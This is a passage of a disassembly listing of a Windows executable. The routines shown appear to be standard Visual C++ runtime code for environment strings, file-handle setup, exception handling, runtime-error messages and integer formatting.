[ebp+arg_8], 0 jz short loc_42A3A9 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_42A3A9: ; CODE XREF: sub_429FC0+3D8j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx jmp loc_42A1A3 ; --------------------------------------------------------------------------- loc_42A3BB: ; CODE XREF: sub_429FC0+218j cmp [ebp+arg_4], 0 jz short loc_42A3D3 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_42A3D3: ; CODE XREF: sub_429FC0+3FFj mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov esp, ebp pop ebp retn sub_429FC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A3F0 proc near ; CODE XREF: .nsp0:0041EA7Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov [ebp+var_18], 0 cmp dword_4EFAA0, 0 jnz short loc_42A44A call dword_4F1304 ; GetEnvironmentStringsW mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_42A428 mov dword_4EFAA0, 1 jmp short loc_42A44A ; --------------------------------------------------------------------------- loc_42A428: ; CODE XREF: sub_42A3F0+2Aj call dword_4F1308 ; GetEnvironmentStrings mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_42A443 mov dword_4EFAA0, 2 jmp short loc_42A44A ; --------------------------------------------------------------------------- loc_42A443: ; CODE XREF: sub_42A3F0+45j xor eax, eax jmp loc_42A605 ; --------------------------------------------------------------------------- loc_42A44A: ; CODE XREF: sub_42A3F0+1Bj ; sub_42A3F0+36j ... cmp dword_4EFAA0, 1 jnz loc_42A54E cmp [ebp+var_14], 0 jnz short loc_42A473 call dword_4F1304 ; GetEnvironmentStringsW mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_42A473 xor eax, eax jmp loc_42A605 ; --------------------------------------------------------------------------- loc_42A473: ; CODE XREF: sub_42A3F0+6Bj ; sub_42A3F0+7Aj mov eax, [ebp+var_14] mov [ebp+var_8], eax loc_42A479: ; CODE XREF: sub_42A3F0:loc_42A4A3j mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_42A4A5 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_42A4A3 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax loc_42A4A3: ; CODE XREF: sub_42A3F0+A8j jmp short loc_42A479 ; --------------------------------------------------------------------------- loc_42A4A5: ; CODE XREF: sub_42A3F0+93j mov ecx, [ebp+var_8] sub ecx, [ebp+var_14] sar ecx, 1 add ecx, 1 mov [ebp+var_4], ecx push 0 push 0 push 0 push 0 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call dword_4F141C ; WideCharToMultiByte mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_42A4F4 push 64h push offset dword_4382F0 push 2 mov ecx, [ebp+var_10] push ecx call sub_418EF0 add esp, 10h mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_42A505 loc_42A4F4: ; CODE XREF: sub_42A3F0+E4j mov edx, [ebp+var_14] push edx call dword_4F130C ; FreeEnvironmentStringsW xor eax, eax jmp loc_42A605 ; --------------------------------------------------------------------------- loc_42A505: ; CODE XREF: sub_42A3F0+102j push 0 push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call dword_4F141C ; WideCharToMultiByte test eax, eax jnz short loc_42A53C push 2 mov ecx, [ebp+var_18] push ecx call sub_419980 add esp, 8 mov [ebp+var_18], 0 loc_42A53C: ; CODE XREF: sub_42A3F0+135j mov edx, [ebp+var_14] push edx call dword_4F130C ; FreeEnvironmentStringsW mov eax, [ebp+var_18] jmp loc_42A605 ; --------------------------------------------------------------------------- loc_42A54E: ; CODE XREF: sub_42A3F0+61j cmp dword_4EFAA0, 2 jnz loc_42A603 cmp [ebp+var_18], 0 jnz short loc_42A577 call dword_4F1308 ; GetEnvironmentStrings mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_42A577 xor eax, eax jmp loc_42A605 ; --------------------------------------------------------------------------- loc_42A577: ; CODE XREF: sub_42A3F0+16Fj ; sub_42A3F0+17Ej mov eax, [ebp+var_18] mov [ebp+var_C], eax loc_42A57D: ; CODE XREF: sub_42A3F0:loc_42A5A3j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42A5A5 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42A5A3 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42A5A3: ; CODE XREF: sub_42A3F0+1A8j jmp short loc_42A57D ; --------------------------------------------------------------------------- loc_42A5A5: ; CODE XREF: sub_42A3F0+195j mov ecx, [ebp+var_C] sub ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_10], ecx push 8Fh push offset dword_4382F0 push 2 mov edx, [ebp+var_10] push edx call sub_418EF0 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42A5E0 mov eax, [ebp+var_18] push eax call dword_4F1310 ; FreeEnvironmentStringsA xor eax, eax jmp short loc_42A605 ; --------------------------------------------------------------------------- loc_42A5E0: ; CODE XREF: sub_42A3F0+1E0j mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_C] push eax call near ptr sub_41C8D0 add esp, 0Ch mov ecx, [ebp+var_18] push ecx call dword_4F1310 ; FreeEnvironmentStringsA mov eax, [ebp+var_C] jmp short loc_42A605 ; --------------------------------------------------------------------------- loc_42A603: ; CODE XREF: sub_42A3F0+165j xor eax, eax loc_42A605: ; CODE XREF: sub_42A3F0+55j ; sub_42A3F0+7Ej ... mov esp, ebp pop ebp retn sub_42A3F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A610 proc near ; CODE XREF: .nsp0:0041EA6Ep var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_16 = dword ptr -16h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 6Ch push 81h push offset dword_4382F8 push 2 push 480h call sub_418EF0 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_42A642 push 1Bh call sub_41EB30 add esp, 4 loc_42A642: ; CODE XREF: sub_42A610+26j mov eax, [ebp+var_50] mov dword_4EFC40, eax mov dword_4EFD40, 20h jmp short loc_42A65F ; --------------------------------------------------------------------------- loc_42A656: ; CODE XREF: sub_42A610+81j mov ecx, [ebp+var_50] add ecx, 24h mov [ebp+var_50], ecx loc_42A65F: ; CODE XREF: sub_42A610+44j mov edx, dword_4EFC40 add edx, 480h cmp [ebp+var_50], edx jnb short loc_42A693 mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_42A656 ; --------------------------------------------------------------------------- loc_42A693: ; CODE XREF: sub_42A610+5Ej lea ecx, [ebp+var_48] push ecx call dword_4F1458 ; GetStartupInfoA mov edx, [ebp+var_16] and edx, 0FFFFh test edx, edx jz loc_42A835 cmp [ebp+var_16+2], 0 jz loc_42A835 mov eax, [ebp+var_16+2] mov ecx, [eax] mov [ebp+var_64], ecx mov edx, [ebp+var_16+2] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] add eax, [ebp+var_64] mov [ebp+var_60], eax cmp [ebp+var_64], 800h jge short loc_42A6E3 mov ecx, [ebp+var_64] mov [ebp+var_68], ecx jmp short loc_42A6EA ; --------------------------------------------------------------------------- loc_42A6E3: ; CODE XREF: sub_42A610+C9j mov [ebp+var_68], 800h loc_42A6EA: ; CODE XREF: sub_42A610+D1j mov edx, [ebp+var_68] mov [ebp+var_64], edx mov [ebp+var_5C], 1 jmp short loc_42A702 ; --------------------------------------------------------------------------- loc_42A6F9: ; CODE XREF: sub_42A610:loc_42A79Dj mov eax, [ebp+var_5C] add eax, 1 mov [ebp+var_5C], eax loc_42A702: ; CODE XREF: sub_42A610+E7j mov ecx, dword_4EFD40 cmp ecx, [ebp+var_64] jge loc_42A7A2 push 0B6h push offset dword_4382F8 push 2 push 480h call sub_418EF0 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_42A73E mov edx, dword_4EFD40 mov [ebp+var_64], edx jmp short loc_42A7A2 ; --------------------------------------------------------------------------- loc_42A73E: ; CODE XREF: sub_42A610+121j mov eax, [ebp+var_5C] mov ecx, [ebp+var_50] mov dword_4EFC40[eax*4], ecx mov edx, dword_4EFD40 add edx, 20h mov dword_4EFD40, edx jmp short loc_42A765 ; --------------------------------------------------------------------------- loc_42A75C: ; CODE XREF: sub_42A610+18Bj mov eax, [ebp+var_50] add eax, 24h mov [ebp+var_50], eax loc_42A765: ; CODE XREF: sub_42A610+14Aj mov ecx, [ebp+var_5C] mov edx, dword_4EFC40[ecx*4] add edx, 480h cmp [ebp+var_50], edx jnb short loc_42A79D mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_42A75C ; --------------------------------------------------------------------------- loc_42A79D: ; CODE XREF: sub_42A610+168j jmp loc_42A6F9 ; --------------------------------------------------------------------------- loc_42A7A2: ; CODE XREF: sub_42A610+FBj ; sub_42A610+12Cj mov [ebp+var_58], 0 jmp short loc_42A7C6 ; --------------------------------------------------------------------------- loc_42A7AB: ; CODE XREF: sub_42A610:loc_42A830j mov ecx, [ebp+var_58] add ecx, 1 mov [ebp+var_58], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_60] add eax, 4 mov [ebp+var_60], eax loc_42A7C6: ; CODE XREF: sub_42A610+199j mov ecx, [ebp+var_58] cmp ecx, [ebp+var_64] jge short loc_42A835 mov edx, [ebp+var_60] cmp dword ptr [edx], 0FFFFFFFFh jz short loc_42A830 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] and ecx, 1 test ecx, ecx jz short loc_42A830 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] and eax, 8 test eax, eax jnz short loc_42A800 mov ecx, [ebp+var_60] mov edx, [ecx] push edx call dword_4F12FC ; GetFileType test eax, eax jz short loc_42A830 loc_42A800: ; CODE XREF: sub_42A610+1DEj mov eax, [ebp+var_58] sar eax, 5 mov ecx, [ebp+var_58] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_60] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax+4], dl loc_42A830: ; CODE XREF: sub_42A610+1C4j ; sub_42A610+1D1j ... jmp loc_42A7AB ; --------------------------------------------------------------------------- loc_42A835: ; CODE XREF: sub_42A610+98j ; sub_42A610+A2j ... mov [ebp+var_58], 0 jmp short loc_42A847 ; --------------------------------------------------------------------------- loc_42A83E: ; CODE XREF: sub_42A610:loc_42A91Fj mov eax, [ebp+var_58] add eax, 1 mov [ebp+var_58], eax loc_42A847: ; CODE XREF: sub_42A610+22Cj cmp [ebp+var_58], 3 jge loc_42A924 mov ecx, [ebp+var_58] imul ecx, 24h mov edx, dword_4EFC40 add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_42A910 mov ecx, [ebp+var_50] mov byte ptr [ecx+4], 81h cmp [ebp+var_58], 0 jnz short loc_42A884 mov [ebp+var_6C], 0FFFFFFF6h jmp short loc_42A894 ; --------------------------------------------------------------------------- loc_42A884: ; CODE XREF: sub_42A610+269j mov edx, [ebp+var_58] sub edx, 1 neg edx sbb edx, edx add edx, 0FFFFFFF5h mov [ebp+var_6C], edx loc_42A894: ; CODE XREF: sub_42A610+272j mov eax, [ebp+var_6C] push eax call dword_4F1468 ; GetStdHandle mov [ebp+var_4C], eax cmp [ebp+var_4C], 0FFFFFFFFh jz short loc_42A8FF mov ecx, [ebp+var_4C] push ecx call dword_4F12FC ; GetFileType mov [ebp+var_54], eax cmp [ebp+var_54], 0 jz short loc_42A8FF mov edx, [ebp+var_50] mov eax, [ebp+var_4C] mov [edx], eax mov ecx, [ebp+var_54] and ecx, 0FFh cmp ecx, 2 jnz short loc_42A8E0 mov edx, [ebp+var_50] mov al, [edx+4] or al, 40h mov ecx, [ebp+var_50] mov [ecx+4], al jmp short loc_42A8FD ; --------------------------------------------------------------------------- loc_42A8E0: ; CODE XREF: sub_42A610+2BEj mov edx, [ebp+var_54] and edx, 0FFh cmp edx, 3 jnz short loc_42A8FD mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 8 mov edx, [ebp+var_50] mov [edx+4], cl loc_42A8FD: ; CODE XREF: sub_42A610+2CEj ; sub_42A610+2DCj jmp short loc_42A90E ; --------------------------------------------------------------------------- loc_42A8FF: ; CODE XREF: sub_42A610+295j ; sub_42A610+2A8j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 40h mov edx, [ebp+var_50] mov [edx+4], cl loc_42A90E: ; CODE XREF: sub_42A610:loc_42A8FDj jmp short loc_42A91F ; --------------------------------------------------------------------------- loc_42A910: ; CODE XREF: sub_42A610+258j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 80h mov edx, [ebp+var_50] mov [edx+4], cl loc_42A91F: ; CODE XREF: sub_42A610:loc_42A90Ej jmp loc_42A83E ; --------------------------------------------------------------------------- loc_42A924: ; CODE XREF: sub_42A610+23Bj mov eax, dword_4EFD40 push eax call dword_4F1300 ; LockResource mov esp, ebp pop ebp retn sub_42A610 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov dword ptr [ebp-8], 0 jmp short loc_42A958 ; --------------------------------------------------------------------------- loc_42A94F: ; CODE XREF: .nsp0:loc_42A9D2j mov eax, [ebp-8] add eax, 1 mov [ebp-8], eax loc_42A958: ; CODE XREF: .nsp0:0042A94Dj cmp dword ptr [ebp-8], 40h jge short loc_42A9D7 mov ecx, [ebp-8] cmp dword_4EFC40[ecx*4], 0 jz short loc_42A9D2 mov edx, [ebp-8] mov eax, dword_4EFC40[edx*4] mov [ebp-4], eax jmp short loc_42A983 ; --------------------------------------------------------------------------- loc_42A97A: ; CODE XREF: .nsp0:loc_42A9ADj mov ecx, [ebp-4] add ecx, 24h mov [ebp-4], ecx loc_42A983: ; CODE XREF: .nsp0:0042A978j mov edx, [ebp-8] mov eax, dword_4EFC40[edx*4] add eax, 480h cmp [ebp-4], eax jnb short loc_42A9AF mov ecx, [ebp-4] cmp dword ptr [ecx+8], 0 jz short loc_42A9AD mov edx, [ebp-4] add edx, 0Ch push edx call dword_4F1398 ; RtlDeleteCriticalSection loc_42A9AD: ; CODE XREF: .nsp0:0042A99Ej jmp short loc_42A97A ; --------------------------------------------------------------------------- loc_42A9AF: ; CODE XREF: .nsp0:0042A995j push 2 mov eax, [ebp-8] mov ecx, dword_4EFC40[eax*4] push ecx call sub_419980 add esp, 8 mov edx, [ebp-8] mov dword_4EFC40[edx*4], 0 loc_42A9D2: ; CODE XREF: .nsp0:0042A969j jmp loc_42A94F ; --------------------------------------------------------------------------- loc_42A9D7: ; CODE XREF: .nsp0:0042A95Cj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A9E4 proc near ; DATA XREF: .nsp0:0041E9CAo ; sub_427F30+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_42AA84 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_42AA17: ; CODE XREF: sub_42A9E4+90j cmp esi, 0FFFFFFFFh jz short loc_42AA7D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42AA6B push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42AA6B js short loc_42AA76 mov edi, [ebx+8] push ebx call sub_41D410 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D452 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D4E6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42AA6B: ; CODE XREF: sub_42A9E4+40j ; sub_42A9E4+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_42AA17 ; --------------------------------------------------------------------------- loc_42AA76: ; CODE XREF: sub_42A9E4+54j mov eax, 0 jmp short loc_42AA99 ; --------------------------------------------------------------------------- loc_42AA7D: ; CODE XREF: sub_42A9E4+36j mov eax, 1 jmp short loc_42AA99 ; --------------------------------------------------------------------------- loc_42AA84: ; CODE XREF: sub_42A9E4+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D452 add esp, 8 pop ebp mov eax, 1 loc_42AA99: ; CODE XREF: sub_42A9E4+97j ; sub_42A9E4+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42A9E4 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D452 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AAC0 proc near ; CODE XREF: sub_41EB30+Cp ; sub_41EB60+Cp push ebp mov ebp, esp cmp dword_4EF8E8, 1 jz short loc_42AADE cmp dword_4EF8E8, 0 jnz short loc_42AB07 cmp dword_451124, 1 jnz short loc_42AB07 loc_42AADE: ; CODE XREF: sub_42AAC0+Aj push 0FCh call sub_42AB10 add esp, 4 cmp dword_4EFAA4, 0 jz short loc_42AAFA call dword_4EFAA4 loc_42AAFA: ; CODE XREF: sub_42AAC0+32j push 0FFh call sub_42AB10 add esp, 4 loc_42AB07: ; CODE XREF: sub_42AAC0+13j ; sub_42AAC0+1Cj pop ebp retn sub_42AAC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AB10 proc near ; CODE XREF: sub_41EB30+15p ; sub_41EB60+15p ... var_1B0 = byte ptr -1B0h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi mov [ebp+var_8], 0 jmp short loc_42AB2E ; --------------------------------------------------------------------------- loc_42AB25: ; CODE XREF: sub_42AB10:loc_42AB45j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42AB2E: ; CODE XREF: sub_42AB10+13j cmp [ebp+var_8], 12h jnb short loc_42AB47 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] cmp edx, dword_451C78[ecx*8] jnz short loc_42AB45 jmp short loc_42AB47 ; --------------------------------------------------------------------------- loc_42AB45: ; CODE XREF: sub_42AB10+31j jmp short loc_42AB25 ; --------------------------------------------------------------------------- loc_42AB47: ; CODE XREF: sub_42AB10+22j ; sub_42AB10+33j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, dword_451C78[eax*8] jnz loc_42ACC8 cmp [ebp+arg_0], 0FCh jz short loc_42AB84 mov edx, [ebp+var_8] mov eax, off_451C7C[edx*8] push eax push 0 push 0 push 0 push 1 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_42AB84 int 3 ; Trap to Debugger loc_42AB84: ; CODE XREF: sub_42AB10+51j ; sub_42AB10+71j cmp dword_4EF8E8, 1 jz short loc_42AB9F cmp dword_4EF8E8, 0 jnz short loc_42ABD8 cmp dword_451124, 1 jnz short loc_42ABD8 loc_42AB9F: ; CODE XREF: sub_42AB10+7Bj push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, off_451C7C[edx*8] push eax call sub_418D00 add esp, 4 push eax mov ecx, [ebp+var_8] mov edx, off_451C7C[ecx*8] push edx push 0FFFFFFF4h call dword_4F1468 ; GetStdHandle push eax call dword_4F139C ; WriteFile jmp loc_42ACC8 ; --------------------------------------------------------------------------- loc_42ABD8: ; CODE XREF: sub_42AB10+84j ; sub_42AB10+8Dj cmp [ebp+arg_0], 0FCh jz loc_42ACC8 push 104h lea eax, [ebp+var_110] push eax push 0 call dword_4F132C ; GetModuleFileNameA test eax, eax jnz short loc_42AC11 push offset aProgramNameUnk ; "<program name unknown>" lea ecx, [ebp+var_110] push ecx call sub_41C300 add esp, 8 loc_42AC11: ; CODE XREF: sub_42AB10+EBj lea edx, [ebp+var_110] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call sub_418D00 add esp, 4 add eax, 1 cmp eax, 3Ch jbe short loc_42AC5A lea ecx, [ebp+var_110] push ecx call sub_418D00 add esp, 4 mov edx, [ebp+var_C] lea eax, [edx+eax-3Bh] mov [ebp+var_C], eax push 3 push offset a___ ; "..." mov ecx, [ebp+var_C] push ecx call sub_41B1F0 add esp, 0Ch loc_42AC5A: ; CODE XREF: sub_42AB10+11Cj push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " lea edx, [ebp+var_1B0] push edx call sub_41C300 add esp, 8 mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_1B0] push ecx call sub_41C310 add esp, 8 push offset asc_437EB8 ; "\n\n" lea edx, [ebp+var_1B0] push edx call sub_41C310 add esp, 8 mov eax, [ebp+var_8] mov ecx, off_451C7C[eax*8] push ecx lea edx, [ebp+var_1B0] push edx call sub_41C310 add esp, 8 push 12010h push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library" lea eax, [ebp+var_1B0] push eax call sub_42B680 add esp, 0Ch loc_42ACC8: ; CODE XREF: sub_42AB10+44j ; sub_42AB10+C3j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42AB10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 0 jmp short loc_42ACE6 ; --------------------------------------------------------------------------- loc_42ACDD: ; CODE XREF: .nsp0:loc_42ACFDj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_42ACE6: ; CODE XREF: .nsp0:0042ACDBj cmp dword ptr [ebp-4], 12h jnb short loc_42ACFF mov ecx, [ebp-4] mov edx, [ebp+8] cmp edx, dword_451C78[ecx*8] jnz short loc_42ACFD jmp short loc_42ACFF ; --------------------------------------------------------------------------- loc_42ACFD: ; CODE XREF: .nsp0:0042ACF9j jmp short loc_42ACDD ; --------------------------------------------------------------------------- loc_42ACFF: ; CODE XREF: .nsp0:0042ACEAj ; .nsp0:0042ACFBj mov eax, [ebp-4] mov ecx, [ebp+8] cmp ecx, dword_451C78[eax*8] jnz short loc_42AD1A mov edx, [ebp-4] mov eax, off_451C7C[edx*8] jmp short loc_42AD1C ; --------------------------------------------------------------------------- loc_42AD1A: ; CODE XREF: .nsp0:0042AD0Cj xor eax, eax loc_42AD1C: ; CODE XREF: .nsp0:0042AD18j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AD20 proc near ; CODE XREF: sub_41ECC0+13p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 push 2 call sub_41FB40 add esp, 4 mov [ebp+var_8], 3 jmp short loc_42AD49 ; --------------------------------------------------------------------------- loc_42AD40: ; CODE XREF: sub_42AD20:loc_42ADE4j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42AD49: ; CODE XREF: sub_42AD20+1Ej mov ecx, [ebp+var_8] cmp ecx, dword_4F0FA0 jge loc_42ADE9 mov edx, [ebp+var_8] mov eax, dword_4EFF88 cmp dword ptr [eax+edx*4], 0 jz short loc_42ADE4 mov ecx, [ebp+var_8] mov edx, dword_4EFF88 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz short loc_42ADA1 mov edx, [ebp+var_8] mov eax, dword_4EFF88 mov ecx, [eax+edx*4] push ecx call sub_418D80 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_42ADA1 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42ADA1: ; CODE XREF: sub_42AD20+5Dj ; sub_42AD20+76j cmp [ebp+var_8], 14h jl short loc_42ADE4 mov eax, [ebp+var_8] mov ecx, dword_4EFF88 mov edx, [ecx+eax*4] add edx, 20h push edx call dword_4F1398 ; RtlDeleteCriticalSection push 2 mov eax, [ebp+var_8] mov ecx, dword_4EFF88 mov edx, [ecx+eax*4] push edx call sub_419980 add esp, 8 mov eax, [ebp+var_8] mov ecx, dword_4EFF88 mov dword ptr [ecx+eax*4], 0 loc_42ADE4: ; CODE XREF: sub_42AD20+44j ; sub_42AD20+85j jmp loc_42AD40 ; --------------------------------------------------------------------------- loc_42ADE9: ; CODE XREF: sub_42AD20+32j push 2 call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42AD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AE00 proc near ; CODE XREF: sub_41EED0+31Dp ; sub_42FDA0+1EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_42AE27 cmp [ebp+arg_0], 0 jge short loc_42AE27 push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42AE50 add esp, 10h jmp short loc_42AE3D ; --------------------------------------------------------------------------- loc_42AE27: ; CODE XREF: sub_42AE00+7j ; sub_42AE00+Dj push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42AE50 add esp, 10h loc_42AE3D: ; CODE XREF: sub_42AE00+25j mov eax, [ebp+arg_4] pop ebp retn sub_42AE00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AE50 proc near ; CODE XREF: sub_42AE00+1Dp ; sub_42AE00+35p ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_42AE79 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov [ebp+arg_0], eax loc_42AE79: ; CODE XREF: sub_42AE50+10j mov ecx, [ebp+var_4] mov [ebp+var_8], ecx loc_42AE7F: ; CODE XREF: sub_42AE50+79j mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+var_C], edx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_C], 9 jbe short loc_42AEB1 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42AEC5 ; --------------------------------------------------------------------------- loc_42AEB1: ; CODE XREF: sub_42AE50+49j mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42AEC5: ; CODE XREF: sub_42AE50+5Fj cmp [ebp+arg_0], 0 ja short loc_42AE7F mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42AEDA: ; CODE XREF: sub_42AE50+BCj mov ecx, 